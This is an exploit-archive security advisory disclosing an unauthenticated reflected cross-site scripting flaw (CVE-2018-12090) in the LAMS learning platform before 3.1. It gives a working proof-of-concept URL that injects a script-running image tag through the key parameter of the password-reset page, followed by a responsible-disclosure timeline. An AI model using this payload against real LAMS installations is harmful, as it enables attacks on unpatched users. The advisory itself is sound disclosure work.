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LAMS Cross Site Scripting

LAMS Cross Site Scripting
Posted Aug 6, 2018
Authored by Nikola Kojic

LAMS versions prior to 3.1 suffer from a cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2018-12090
MD5 | 4eaa85a9f7a0b6c2c6614980c04bd123

LAMS Cross Site Scripting

Change Mirror Download
# Exploit Title: LAMS < 3.1 - Cross-Site Scripting
# Date: 2018-08-05
# Exploit Author: Nikola Kojic
# Website: https://ras-it.rs/
# Vendor Homepage: https://www.lamsfoundation.org/
# Software Link: https://www.lamsfoundation.org/downloads_home.htm
# Category: Web Application
# Platform: Java
# Version: <= 3.1
# CVE: 2018-12090

# Vendor Description:
# LAMS is a revolutionary new tool for designing, managing and delivering online collaborative
# learning activities. It provides teachers with a highly intuitive visual authoring
# environment for creating sequences of learning activities.

# Technical Details and Exploitation:
# There is unauthenticated reflected cross-site scripting (XSS) in LAMS before 3.1 that allows
# a remote attacker to introduce arbitrary JavaScript via manipulation of an unsanitized GET
# parameter during a forgotPasswordChange.jsp?key= password change.

# Proof of Concept:
http://localhost:8080/lams/forgotPasswordChange.jsp?key=%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E

# Timeline:
# 2018-06-07: Discovered
# 2018-06-08: Vendor notified
# 2018-06-08: Vendor replies
# 2018-06-11: CVE number requested
# 2018-06-11: CVE number assigned
# 2018-06-15: Patch released
# 2018-08-05: Public disclosure

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